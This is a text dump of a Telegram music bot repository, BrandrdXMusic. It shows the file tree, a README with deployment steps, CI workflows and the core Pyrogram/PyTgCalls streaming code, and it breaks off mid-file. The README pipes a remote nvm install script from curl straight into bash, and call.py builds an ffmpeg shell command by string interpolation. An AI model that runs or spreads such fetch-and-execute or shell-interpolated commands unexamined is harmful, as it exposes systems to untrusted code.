Full Code of WCGKING/BrandrdXMusic for AI

main 527814e6c945 cached
165 files
755.0 KB
266.7k tokens
584 symbols
1 requests
Download .txt
Showing preview only (886K chars total). Download the full file or copy to clipboard to get everything.
Repository: WCGKING/BrandrdXMusic
Branch: main
Commit: 527814e6c945
Files: 165
Total size: 755.0 KB

Directory structure:
gitextract_xah1yoyr/

├── .dockerignore
├── .github/
│   ├── README.md
│   ├── SECURITY.md
│   ├── dependabot.yml
│   └── workflows/
│       ├── codeql.yml
│       └── docker-image.yml
├── .gitignore
├── BrandrdXMusic/
│   ├── __init__.py
│   ├── __main__.py
│   ├── assets/
│   │   └── __init__.py
│   ├── core/
│   │   ├── bot.py
│   │   ├── call.py
│   │   ├── dir.py
│   │   ├── git.py
│   │   ├── mongo.py
│   │   └── userbot.py
│   ├── logging.py
│   ├── misc.py
│   ├── mongo/
│   │   ├── afkdb.py
│   │   ├── couples_db.py
│   │   ├── filtersdb.py
│   │   └── readable_time.py
│   ├── platforms/
│   │   ├── Apple.py
│   │   ├── Carbon.py
│   │   ├── Resso.py
│   │   ├── Soundcloud.py
│   │   ├── Spotify.py
│   │   ├── Telegram.py
│   │   ├── Youtube.py
│   │   ├── Youtube.txt
│   │   └── __init__.py
│   ├── plugins/
│   │   ├── __init__.py
│   │   ├── admins/
│   │   │   ├── Sangmata.py
│   │   │   ├── all_tag.py
│   │   │   ├── assistant_tag.py
│   │   │   ├── auth.py
│   │   │   ├── callback.py
│   │   │   ├── entag.py
│   │   │   ├── font.py
│   │   │   ├── gmtag.py
│   │   │   ├── hitag.py
│   │   │   ├── loop.py
│   │   │   ├── pause.py
│   │   │   ├── quiz.py
│   │   │   ├── resume.py
│   │   │   ├── seek.py
│   │   │   ├── shayari.py
│   │   │   ├── shuffle.py
│   │   │   ├── skip.py
│   │   │   ├── speed.py
│   │   │   ├── stop.py
│   │   │   ├── tagall.py
│   │   │   └── utag.py
│   │   ├── bot/
│   │   │   ├── afk.py
│   │   │   ├── help.py
│   │   │   ├── inline.py
│   │   │   ├── lyrics.py
│   │   │   ├── settings.py
│   │   │   ├── songs.py
│   │   │   └── start.py
│   │   ├── misc/
│   │   │   ├── autoleave.py
│   │   │   ├── broadcast.py
│   │   │   ├── info.py
│   │   │   ├── mongochk.py
│   │   │   ├── seeker.py
│   │   │   ├── truth_dare.py
│   │   │   └── watcher.py
│   │   ├── play/
│   │   │   ├── channel.py
│   │   │   ├── live.py
│   │   │   ├── play.py
│   │   │   ├── playlist.py
│   │   │   ├── playmode.py
│   │   │   └── radio.py
│   │   ├── sudo/
│   │   │   ├── autoend.py
│   │   │   ├── blchat.py
│   │   │   ├── block.py
│   │   │   ├── gban.py
│   │   │   ├── logger.py
│   │   │   ├── maintenance.py
│   │   │   ├── restart.py
│   │   │   └── sudoers.py
│   │   └── tools/
│   │       ├── active.py
│   │       ├── alive.py
│   │       ├── bot_left.py
│   │       ├── bots.py
│   │       ├── chatlog.py
│   │       ├── couples.py
│   │       ├── dev.py
│   │       ├── font.py
│   │       ├── google.py
│   │       ├── id.py
│   │       ├── ig.py
│   │       ├── image.py
│   │       ├── language.py
│   │       ├── left.py
│   │       ├── paste.py
│   │       ├── ping.py
│   │       ├── q.py
│   │       ├── queue.py
│   │       ├── reload.py
│   │       ├── speedtest.py
│   │       ├── stats.py
│   │       ├── telegraph.py
│   │       ├── tts.py
│   │       ├── vctools.py
│   │       ├── welcome.py
│   │       └── zowner.py
│   └── utils/
│       ├── __init__.py
│       ├── admin_check.py
│       ├── branded_ban.py
│       ├── branded_font.py
│       ├── channelplay.py
│       ├── cmdforac.py
│       ├── database.py
│       ├── decorators/
│       │   ├── __init__.py
│       │   ├── admins.py
│       │   ├── language.py
│       │   └── play.py
│       ├── downloader.py
│       ├── downloaders.py
│       ├── errors.py
│       ├── events.py
│       ├── exceptions.py
│       ├── extraction.py
│       ├── filters_func.py
│       ├── formatters.py
│       ├── inline/
│       │   ├── __init__.py
│       │   ├── extras.py
│       │   ├── help.py
│       │   ├── play.py
│       │   ├── playlist.py
│       │   ├── queue.py
│       │   ├── settings.py
│       │   ├── song.py
│       │   ├── speed.py
│       │   ├── start.py
│       │   ├── stats.py
│       │   └── sudolist.py
│       ├── inlinequery.py
│       ├── logger.py
│       ├── mongo.py
│       ├── pastebin.py
│       ├── stream/
│       │   ├── autoclear.py
│       │   ├── queue.py
│       │   └── stream.py
│       ├── stuffs/
│       │   ├── _init.py_
│       │   ├── buttons.py
│       │   └── helper.py
│       ├── sys.py
│       └── thumbnails.py
├── Dockerfile
├── LICENSE
├── Procfile
├── app.json
├── config.py
├── cookies/
│   └── BrandedXMusic.txt
├── heroku.yml
├── requirements.txt
├── runtime.txt
├── sample.env
├── setup
├── start
└── strings/
    ├── __init__.py
    ├── helpers.py
    └── langs/
        └── en.yml

================================================
FILE CONTENTS
================================================

================================================
FILE: .dockerignore
================================================
.env
.cache
log.txt
.DS_Store
*.session
raw_files/
cache/
downloads/
__pycache__/
*.session-journal


================================================
FILE: .github/README.md
================================================
━━━━━━━━━━━━━━━━━━━━

<h2 align="center">
    ──「⛦🦋 𝗕𝗥𝗔𝗡𝗗𝗥𝗗 ✘ 𝗠𝗨𝗦𝗜𝗖 🦋⛦」──
</h2>

<p align="center">
  <img src="https://telegra.ph/file/d02b81736a7e9519c6386.jpg">
</p>

<p align="center">
<a href="https://github.com/WCGKING/stargazers"><img src="https://img.shields.io/github/stars/WCGKING/BrandrdXMusic?color=black&logo=github&logoColor=black&style=for-the-badge" alt="Stars" /></a>
<a href="https://github.com/WCGKING/BrandrdXMusic/network/members"> <img src="https://img.shields.io/github/forks/WCGKING/BrandrdXMusic?color=black&logo=github&logoColor=black&style=for-the-badge" /></a>
<a href="https://github.com/WCGKING/BrandrdXMusic/blob/master/LICENSE"> <img src="https://img.shields.io/badge/License-MIT-blueviolet?style=for-the-badge" alt="License" /> </a>
<a href="https://www.python.org/"> <img src="https://img.shields.io/badge/Written%20in-Python-orange?style=for-the-badge&logo=python" alt="Python" /> </a>
<a href="https://github.com/WCGKING/BrandrdXMusic/commits/WCGKING"> <img src="https://img.shields.io/github/last-commit/WCGKING/BrandrdXMusic?color=blue&logo=github&logoColor=green&style=for-the-badge" /></a>
</p>

━━━━━━━━━━━━━━━━━━━━
</h2>
<img src="https://readme-typing-svg.herokuapp.com?color=FF0000&width=420&lines=♦𝙳𝙴𝙿𝙻𝙾𝚈+𝙾𝙽+𝙷𝙴𝚁𝙾𝙺𝚄♦;📡+𝙽𝙾+𝙷𝙴𝚁𝙾𝙺𝚄+𝙱𝙰𝙽+𝙸𝚂𝚂𝚄𝙴+𝙰𝙻𝚂𝙾+𝚅𝙿𝚂+𝙳𝙴𝙿𝙻𝙾𝚈+📍+𝙿𝚁𝙴𝚂𝙴𝙽𝚃;❤️+𝙿𝙾𝚆𝙴𝚁𝙳+𝙱𝚈+𝗕𝗥𝗔𝗡𝗗𝗘𝗗+𝗞𝗜𝗡𝗚🔥">

<p align="center">
  <img src="https://telegra.ph/file/925eade709484516c5fe3.jpg">
</p>

<h3 align="center">
    ─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʜᴇʀᴏᴋᴜ 」─
</h3>

<p align="center"><a href="https://dashboard.heroku.com/new?template=https://github.com/WCGKING/BrandrdXMusic"> <img src="https://img.shields.io/badge/Deploy%20On%20Heroku-black?style=for-the-badge&logo=heroku" width="220" height="38.45"/></a></p>

</p>

**𝙏𝙀𝙎𝙏 𝘽𝙊𝙏 ➣ [˹ꜱʏꜱᴛᴜᴍ ꭙ ᴍᴜꜱɪᴄ˼𓆩𔘓⃭𓆪](https://t.me/Systumm_music_bot)**



<img src="https://readme-typing-svg.herokuapp.com?color=FF0000&width=420&lines=⚠️𝗙𝗢𝗥𝗞+𝗧𝗛𝗜𝗦+𝗥𝗘𝗣𝗢+𝗙𝗜𝗥𝗦𝗧𝗟𝗬⚠️">

<h3 align="center">
    ─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʟᴏᴄᴀʟ ʜᴏsᴛ/ ᴠᴘs 」─
</h3>

- Get your [Necessary Variables](https://github.com/WCGKING/BrandrdXMusic/blob/master/sample.env)
---

### 🔧 Quick Setup

1. **Upgrade & Update:**
   ```bash
   sudo apt-get update && sudo apt-get upgrade -y
   ```

2. **Install Required Packages:**
   ```bash
   sudo apt-get install python3-pip ffmpeg -y
   ```
3. **Setting up PIP**
   ```bash
   sudo pip3 install -U pip
   ```
4. **Installing Node**
   ```bash
   curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash && source ~/.bashrc && nvm install v18
   ```
5. **Clone the Repository**
   ```bash
   git clone https://github.com/WCGKING/BrandrdXMusic && cd BrandrdXMusic
   ```
6. **Install Requirements**
   ```bash
   pip3 install -U -r requirements.txt
   ```
7. **Create .env  with sample.env**
   ```bash
   cp sample.env .env
   ```
   - Edit .env with your vars
8. **Editing Vars:**
   ```bash
   vi .env
   ```
   - Edit .env with your values.
   - Press `I` button on keyboard to start editing.
   - Press `Ctrl + C`  once you are done with editing vars and type `:wq` to save .env or `:qa` to exit editing.
9. **Installing tmux**
    ```bash
    sudo apt install tmux -y && tmux
    ```
10. **Run the Bot**
    ```bash
    bash start
━━━━━━━━━━━━━━━━━━━━

<h3 align="center">
    ─「 sᴜᴩᴩᴏʀᴛ 」─
</h3>

<p align="center">
<a href="https://t.me/BRANDED_WORLD"><img src="https://img.shields.io/badge/-Support%20Group-blue.svg?style=for-the-badge&logo=Telegram"></a>
</p>

<p align="center">
<a href="https://t.me/BRANDED_PAID_CC"><img src="https://img.shields.io/badge/-Support%20Channel-blue.svg?style=for-the-badge&logo=Telegram"></a>
</p>

- <b> _sᴩᴇᴄɪᴀʟ ᴛʜᴀɴᴋs ᴛᴏ [ᴛᴇᴀᴍ ʙʀᴀɴᴅᴇᴅ](https://github.com/WCGKING) ғᴏʀ [ʙʀᴀɴᴅᴇᴅ ᴍᴜsɪᴄ ʙᴏᴛ](https://t.me/BRANDED_PAID_CC)_</b>


================================================
FILE: .github/SECURITY.md
================================================
# Security Policy

## Supported Versions

Use this section to tell people about which versions of your project are
currently being supported with security updates.

| Version | Supported          |
| ------- | ------------------ |
| 5.1.x   | :white_check_mark: |
| 5.0.x   | :x:                |
| 4.0.x   | :white_check_mark: |
| < 4.0   | :x:                |

## Reporting a Vulnerability

Use this section to tell people how to report a vulnerability.

Tell them where to go, how often they can expect to get an update on a
reported vulnerability, what to expect if the vulnerability is accepted or
declined, etc.



================================================
FILE: .github/dependabot.yml
================================================
version: 2
updates:
- package-ecosystem: pip
  directory: "/"
  schedule:
    interval: daily
    time: "00:00"
    timezone: "Asia/Kolkata"
  labels:
    - "dependencies"
  open-pull-requests-limit: 50



================================================
FILE: .github/workflows/codeql.yml
================================================
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]
  schedule:
    - cron: '25 1 * * 5'

jobs:
  analyze:
    name: Analyze
    # Runner size impacts CodeQL analysis time. To learn more, please see:
    #   - https://gh.io/recommended-hardware-resources-for-running-codeql
    #   - https://gh.io/supported-runners-and-hardware-resources
    #   - https://gh.io/using-larger-runners
    # Consider using larger runners for possible analysis time improvements.
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      actions: read
      contents: read
      security-events: write

    strategy:
      fail-fast: false
      matrix:
        language: [ 'python' ]
        # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ]
        # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both
        # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both
        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support

    steps:
    - name: Checkout repository
      uses: actions/checkout@v3

    # Initializes the CodeQL tools for scanning.
    - name: Initialize CodeQL
      uses: github/codeql-action/init@v2
      with:
        languages: ${{ matrix.language }}
        # If you wish to specify custom queries, you can do so here or in a config file.
        # By default, queries listed here will override any specified in a config file.
        # Prefix the list here with "+" to use these queries and those in the config file.

        # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
        # queries: security-extended,security-and-quality


    # Autobuild attempts to build any compiled languages (C/C++, C#, Go, Java, or Swift).
    # If this step fails, then you should remove it and run the build manually (see below)
    - name: Autobuild
      uses: github/codeql-action/autobuild@v2

    # ℹ️ Command-line programs to run using the OS shell.
    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun

    #   If the Autobuild fails above, remove it and uncomment the following three lines.
    #   modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.

    # - run: |
    #     echo "Run, Build Application using script"
    #     ./location_of_script_within_repo/buildscript.sh

    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v2
      with:
        category: "/language:${{matrix.language}}"


================================================
FILE: .github/workflows/docker-image.yml
================================================
name: Docker Image CI

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

jobs:

  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v3
    - name: Build the Docker image
      run: docker build . --file Dockerfile --tag my-image-name:$(date +%s)


================================================
FILE: .gitignore
================================================
.env
.cache
log.txt
.DS_Store
*.session
raw_files/
cache/
downloads/
__pycache__/
*.session-journal


================================================
FILE: BrandrdXMusic/__init__.py
================================================
from BrandrdXMusic.core.bot import Hotty
from BrandrdXMusic.core.dir import dirr
from BrandrdXMusic.core.git import git
from BrandrdXMusic.core.userbot import Userbot
from BrandrdXMusic.misc import dbb, heroku

from SafoneAPI import SafoneAPI
from .logging import LOGGER

dirr()
git()
dbb()
heroku()

app = Hotty()
userbot = Userbot()
api = SafoneAPI()


from .platforms import *

Apple = AppleAPI()
Carbon = CarbonAPI()
SoundCloud = SoundAPI()
Spotify = SpotifyAPI()
Resso = RessoAPI()
Telegram = TeleAPI()
YouTube = YouTubeAPI()

APP = "Systumm_music_bot"  # connect music api key "Dont change it"


================================================
FILE: BrandrdXMusic/__main__.py
================================================
import asyncio
import importlib
from sys import argv
from pyrogram import idle
from pytgcalls.exceptions import NoActiveGroupCall

import config
from BrandrdXMusic import LOGGER, app, userbot
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import sudo
from BrandrdXMusic.plugins import ALL_MODULES
from BrandrdXMusic.utils.database import get_banned_users, get_gbanned
from config import BANNED_USERS


async def init():
    if (
        not config.STRING1
        and not config.STRING2
        and not config.STRING3
        and not config.STRING4
        and not config.STRING5
    ):
        LOGGER(__name__).error("Assistant client variables not defined, exiting...")
        exit()
    await sudo()
    try:
        users = await get_gbanned()
        for user_id in users:
            BANNED_USERS.add(user_id)
        users = await get_banned_users()
        for user_id in users:
            BANNED_USERS.add(user_id)
    except:
        pass
    await app.start()
    for all_module in ALL_MODULES:
        importlib.import_module("BrandrdXMusic.plugins" + all_module)
    LOGGER("BrandrdXMusic.plugins").info("Successfully Imported Modules...")
    await userbot.start()
    await Hotty.start()
    try:
        await Hotty.stream_call("https://graph.org/file/e999c40cb700e7c684b75.mp4")
    except NoActiveGroupCall:
        LOGGER("BrandrdXMusic").error(
            "Please turn on the videochat of your log group\channel.\n\nStopping Bot..."
        )
        exit()
    except:
        pass
    await Hotty.decorators()
    LOGGER("BrandrdXMusic").info(
        "ᴅʀᴏᴘ ʏᴏᴜʀ ɢɪʀʟꜰʀɪᴇɴᴅ'ꜱ ɴᴜᴍʙᴇʀ ᴀᴛ @BRANDED_PAID_CC ᴊᴏɪɴ @BRANDRD_BOT , @BRANDED_WORLD ꜰᴏʀ ᴀɴʏ ɪꜱꜱᴜᴇꜱ"
    )
    await idle()
    await app.stop()
    await userbot.stop()
    LOGGER("BrandrdXMusic").info("Stopping Brandrd Music Bot...")


if __name__ == "__main__":
    asyncio.get_event_loop().run_until_complete(init())


================================================
FILE: BrandrdXMusic/assets/__init__.py
================================================



================================================
FILE: BrandrdXMusic/core/bot.py
================================================
from pyrogram import Client, errors
from pyrogram.enums import ChatMemberStatus, ParseMode

import config

from ..logging import LOGGER


class Hotty(Client):
    def __init__(self):
        LOGGER(__name__).info(f"Starting Bot...")
        super().__init__(
            name="BrandrdXMusic",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            bot_token=config.BOT_TOKEN,
            in_memory=True,
            max_concurrent_transmissions=7,
        )

    async def start(self):
        await super().start()
        self.id = self.me.id
        self.name = self.me.first_name + " " + (self.me.last_name or "")
        self.username = self.me.username
        self.mention = self.me.mention

        try:
            await self.send_message(
                chat_id=config.LOGGER_ID,
                text=f"<u><b>» {self.mention} ʙᴏᴛ sᴛᴀʀᴛᴇᴅ :</b><u>\n\nɪᴅ : <code>{self.id}</code>\nɴᴀᴍᴇ : {self.name}\nᴜsᴇʀɴᴀᴍᴇ : @{self.username}",
            )
        except (errors.ChannelInvalid, errors.PeerIdInvalid):
            LOGGER(__name__).error(
                "Bot has failed to access the log group/channel. Make sure that you have added your bot to your log group/channel."
            )

        except Exception as ex:
            LOGGER(__name__).error(
                f"Bot has failed to access the log group/channel.\n  Reason : {type(ex).__name__}."
            )

        a = await self.get_chat_member(config.LOGGER_ID, self.id)
        if a.status != ChatMemberStatus.ADMINISTRATOR:
            LOGGER(__name__).error(
                "Please promote your bot as an admin in your log group/channel."
            )

        LOGGER(__name__).info(f"Music Bot Started as {self.name}")

    async def stop(self):
        await super().stop()


================================================
FILE: BrandrdXMusic/core/call.py
================================================
import asyncio
import os
from datetime import datetime, timedelta
from typing import Union

from pyrogram import Client
from pyrogram.types import InlineKeyboardMarkup
from ntgcalls import TelegramServerError
from pytgcalls import PyTgCalls
from pytgcalls.exceptions import (
    AlreadyJoinedError,
    NoActiveGroupCall,
)
from pytgcalls.types import (
    MediaStream,
    AudioQuality,
    VideoQuality,
    Update,
)
from pytgcalls.types.stream import StreamAudioEnded

import config
from BrandrdXMusic import LOGGER, YouTube, app
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.database import (
    add_active_chat,
    add_active_video_chat,
    get_lang,
    get_loop,
    group_assistant,
    is_autoend,
    music_on,
    remove_active_chat,
    remove_active_video_chat,
    set_loop,
)
from BrandrdXMusic.utils.exceptions import AssistantErr
from BrandrdXMusic.utils.formatters import check_duration, seconds_to_min, speed_converter
from BrandrdXMusic.utils.inline.play import stream_markup
from BrandrdXMusic.utils.stream.autoclear import auto_clean
from BrandrdXMusic.utils.thumbnails import get_thumb
from strings import get_string

autoend = {}
counter = {}
loop = asyncio.get_event_loop_policy().get_event_loop()


async def _clear_(chat_id):
    db[chat_id] = []
    await remove_active_video_chat(chat_id)
    await remove_active_chat(chat_id)


class Call(PyTgCalls):
    def __init__(self):
        self.userbot1 = Client(
            name="BrandrdXMusic1",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING1),
        )
        self.one = PyTgCalls(
            self.userbot1,
            cache_duration=100,
        )
        self.userbot2 = Client(
            name="BrandrdXMusic2",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING2),
        )
        self.two = PyTgCalls(
            self.userbot2,
            cache_duration=100,
        )
        self.userbot3 = Client(
            name="BrandrdXMusic3",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING3),
        )
        self.three = PyTgCalls(
            self.userbot3,
            cache_duration=100,
        )
        self.userbot4 = Client(
            name="BrandrdXMusic4",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING4),
        )
        self.four = PyTgCalls(
            self.userbot4,
            cache_duration=100,
        )
        self.userbot5 = Client(
            name="BrandrdXMusic5",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING5),
        )
        self.five = PyTgCalls(
            self.userbot5,
            cache_duration=100,
        )

    async def pause_stream(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        await assistant.pause_stream(chat_id)

    async def mute_stream(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        await assistant.mute_stream(chat_id)

    async def unmute_stream(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        await assistant.unmute_stream(chat_id)

    async def get_participant(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        participant = await assistant.get_participants(chat_id)
        return participant

    async def resume_stream(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        await assistant.resume_stream(chat_id)

    async def stop_stream(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        try:
            await _clear_(chat_id)
            await assistant.leave_group_call(chat_id)
        except:
            pass

    async def stop_stream_force(self, chat_id: int):
        try:
            if config.STRING1:
                await self.one.leave_group_call(chat_id)
        except:
            pass
        try:
            if config.STRING2:
                await self.two.leave_group_call(chat_id)
        except:
            pass
        try:
            if config.STRING3:
                await self.three.leave_group_call(chat_id)
        except:
            pass
        try:
            if config.STRING4:
                await self.four.leave_group_call(chat_id)
        except:
            pass
        try:
            if config.STRING5:
                await self.five.leave_group_call(chat_id)
        except:
            pass
        try:
            await _clear_(chat_id)
        except:
            pass

    async def speedup_stream(self, chat_id: int, file_path, speed, playing):
        assistant = await group_assistant(self, chat_id)
        if str(speed) != "1.0":
            base = os.path.basename(file_path)
            chatdir = os.path.join(os.getcwd(), "playback", str(speed))
            if not os.path.isdir(chatdir):
                os.makedirs(chatdir)
            out = os.path.join(chatdir, base)
            if not os.path.isfile(out):
                if str(speed) == "0.5":
                    vs = 2.0
                if str(speed) == "0.75":
                    vs = 1.35
                if str(speed) == "1.5":
                    vs = 0.68
                if str(speed) == "2.0":
                    vs = 0.5
                proc = await asyncio.create_subprocess_shell(
                    cmd=(
                        "ffmpeg "
                        "-i "
                        f"{file_path} "
                        "-filter:v "
                        f"setpts={vs}*PTS "
                        "-filter:a "
                        f"atempo={speed} "
                        f"{out}"
                    ),
                    stdin=asyncio.subprocess.PIPE,
                    stderr=asyncio.subprocess.PIPE,
                )
                await proc.communicate()
        else:
            out = file_path
        dur = await loop.run_in_executor(None, check_duration, out)
        dur = int(dur)
        played, con_seconds = speed_converter(playing[0]["played"], speed)
        duration = seconds_to_min(dur)
        stream = (
            MediaStream(
                out,
                audio_parameters=AudioQuality.HIGH,
                video_parameters=VideoQuality.SD_480p,
                ffmpeg_parameters=f"-ss {played} -to {duration}",
            )
            if playing[0]["streamtype"] == "video"
            else MediaStream(
                out,
                audio_parameters=AudioQuality.HIGH,
                ffmpeg_parameters=f"-ss {played} -to {duration}",
                video_flags=MediaStream.IGNORE,
            )
        )
        if str(db[chat_id][0]["file"]) == str(file_path):
            await assistant.change_stream(chat_id, stream)
        else:
            raise AssistantErr("Umm")
        if str(db[chat_id][0]["file"]) == str(file_path):
            exis = (playing[0]).get("old_dur")
            if not exis:
                db[chat_id][0]["old_dur"] = db[chat_id][0]["dur"]
                db[chat_id][0]["old_second"] = db[chat_id][0]["seconds"]
            db[chat_id][0]["played"] = con_seconds
            db[chat_id][0]["dur"] = duration
            db[chat_id][0]["seconds"] = dur
            db[chat_id][0]["speed_path"] = out
            db[chat_id][0]["speed"] = speed

    async def force_stop_stream(self, chat_id: int):
        assistant = await group_assistant(self, chat_id)
        try:
            check = db.get(chat_id)
            check.pop(0)
        except:
            pass
        await remove_active_video_chat(chat_id)
        await remove_active_chat(chat_id)
        try:
            await assistant.leave_group_call(chat_id)
        except:
            pass

    async def skip_stream(
        self,
        chat_id: int,
        link: str,
        video: Union[bool, str] = None,
        image: Union[bool, str] = None,
    ):
        assistant = await group_assistant(self, chat_id)
        if video:
            stream = MediaStream(
                link,
                audio_parameters=AudioQuality.HIGH,
                video_parameters=VideoQuality.SD_480p,
            )
        else:
            stream = MediaStream(
                link,
                audio_parameters=AudioQuality.HIGH,
                video_flags=MediaStream.IGNORE,
            )
        await assistant.change_stream(
            chat_id,
            stream,
        )

    async def seek_stream(self, chat_id, file_path, to_seek, duration, mode):
        assistant = await group_assistant(self, chat_id)
        stream = (
            MediaStream(
                file_path,
                audio_parameters=AudioQuality.HIGH,
                video_parameters=VideoQuality.SD_480p,
                ffmpeg_parameters=f"-ss {to_seek} -to {duration}",
            )
            if mode == "video"
            else MediaStream(
                file_path,
                audio_parameters=AudioQuality.HIGH,
                ffmpeg_parameters=f"-ss {to_seek} -to {duration}",
                video_flags=MediaStream.IGNORE,
            )
        )
        await assistant.change_stream(chat_id, stream)

    async def stream_call(self, link):
        assistant = await group_assistant(self, config.LOGGER_ID)
        await assistant.join_group_call(
            config.LOGGER_ID,
            MediaStream(link),
        )
        await asyncio.sleep(0.2)
        await assistant.leave_group_call(config.LOGGER_ID)

    async def join_call(
        self,
        chat_id: int,
        original_chat_id: int,
        link,
        video: Union[bool, str] = None,
        image: Union[bool, str] = None,
    ):
        assistant = await group_assistant(self, chat_id)
        language = await get_lang(chat_id)
        _ = get_string(language)
        if video:
            stream = MediaStream(
                link,
                audio_parameters=AudioQuality.HIGH,
                video_parameters=VideoQuality.SD_480p,
            )
        else:
            stream = (
                MediaStream(
                    link,
                    audio_parameters=AudioQuality.HIGH,
                    video_parameters=VideoQuality.SD_480p,
                )
                if video
                else MediaStream(
                    link,
                    audio_parameters=AudioQuality.HIGH,
                    video_flags=MediaStream.IGNORE,
                )
            )
        try:
            await assistant.join_group_call(
                chat_id,
                stream,
            )
        except NoActiveGroupCall:
            raise AssistantErr(_["call_8"])
        except AlreadyJoinedError:
            raise AssistantErr(_["call_9"])
        except TelegramServerError:
            raise AssistantErr(_["call_10"])
        except Exception as e:
            if "phone.CreateGroupCall" in str(e):
                raise AssistantErr(_["call_8"])
        await add_active_chat(chat_id)
        await music_on(chat_id)
        if video:
            await add_active_video_chat(chat_id)
        if await is_autoend():
            counter[chat_id] = {}
            users = len(await assistant.get_participants(chat_id))
            if users == 1:
                autoend[chat_id] = datetime.now() + timedelta(minutes=1)

    async def change_stream(self, client, chat_id):
        check = db.get(chat_id)
        popped = None
        loop = await get_loop(chat_id)
        try:
            if loop == 0:
                popped = check.pop(0)
            else:
                loop = loop - 1
                await set_loop(chat_id, loop)
            await auto_clean(popped)
            if not check:
                await _clear_(chat_id)
                return await client.leave_group_call(chat_id)
        except:
            try:
                await _clear_(chat_id)
                return await client.leave_group_call(chat_id)
            except:
                return
        else:
            queued = check[0]["file"]
            language = await get_lang(chat_id)
            _ = get_string(language)
            title = (check[0]["title"]).title()
            user = check[0]["by"]
            original_chat_id = check[0]["chat_id"]
            streamtype = check[0]["streamtype"]
            videoid = check[0]["vidid"]
            db[chat_id][0]["played"] = 0
            if exis := (check[0]).get("old_dur"):
                db[chat_id][0]["dur"] = exis
                db[chat_id][0]["seconds"] = check[0]["old_second"]
                db[chat_id][0]["speed_path"] = None
                db[chat_id][0]["speed"] = 1.0
            video = str(streamtype) == "video"
            if "live_" in queued:
                n, link = await YouTube.video(videoid, True)
                if n == 0:
                    return await app.send_message(
                        original_chat_id,
                        text=_["call_6"],
                    )
                if video:
                    stream = MediaStream(
                        link,
                        audio_parameters=AudioQuality.HIGH,
                        video_parameters=VideoQuality.SD_480p,
                    )
                else:
                    stream = MediaStream(
                        link,
                        audio_parameters=AudioQuality.HIGH,
                        video_flags=MediaStream.IGNORE,
                    )
                try:
                    await client.change_stream(chat_id, stream)
                except Exception:
                    return await app.send_message(
                        original_chat_id,
                        text=_["call_6"],
                    )
                img = await get_thumb(videoid)
                button = stream_markup2(_, chat_id)
                run = await app.send_photo(
                    chat_id=original_chat_id,
                    photo=img,
                    caption=_["stream_1"].format(
                        f"https://t.me/{app.username}?start=info_{videoid}",
                        title[:23],
                        check[0]["dur"],
                        user,
                    ),
                    reply_markup=InlineKeyboardMarkup(button),
                )
                db[chat_id][0]["mystic"] = run
                db[chat_id][0]["markup"] = "tg"
            elif "vid_" in queued:
                mystic = await app.send_message(original_chat_id, _["call_7"])
                try:
                    file_path, direct = await YouTube.download(
                        videoid,
                        mystic,
                        videoid=True,
                        video=str(streamtype) == "video",
                    )
                except:
                    return await mystic.edit_text(
                        _["call_6"], disable_web_page_preview=True
                    )
                if video:
                    stream = MediaStream(
                        file_path,
                        audio_parameters=AudioQuality.HIGH,
                        video_parameters=VideoQuality.SD_480p,
                    )
                else:
                    stream = MediaStream(
                        file_path,
                        audio_parameters=AudioQuality.HIGH,
                        video_flags=MediaStream.IGNORE,
                    )
                try:
                    await client.change_stream(chat_id, stream)
                except:
                    return await app.send_message(
                        original_chat_id,
                        text=_["call_6"],
                    )
                img = await get_thumb(videoid)
                button = stream_markup(_, videoid, chat_id)
                await mystic.delete()
                run = await app.send_photo(
                    chat_id=original_chat_id,
                    photo=img,
                    caption=_["stream_1"].format(
                        f"https://t.me/{app.username}?start=info_{videoid}",
                        title[:23],
                        check[0]["dur"],
                        user,
                    ),
                    reply_markup=InlineKeyboardMarkup(button),
                )
                db[chat_id][0]["mystic"] = run
                db[chat_id][0]["markup"] = "stream"
            elif "index_" in queued:
                stream = (
                    MediaStream(
                        videoid,
                        audio_parameters=AudioQuality.HIGH,
                        video_parameters=VideoQuality.SD_480p,
                    )
                    if str(streamtype) == "video"
                    else MediaStream(
                        videoid,
                        audio_parameters=AudioQuality.HIGH,
                        video_flags=MediaStream.IGNORE,
                    )
                )
                try:
                    await client.change_stream(chat_id, stream)
                except:
                    return await app.send_message(
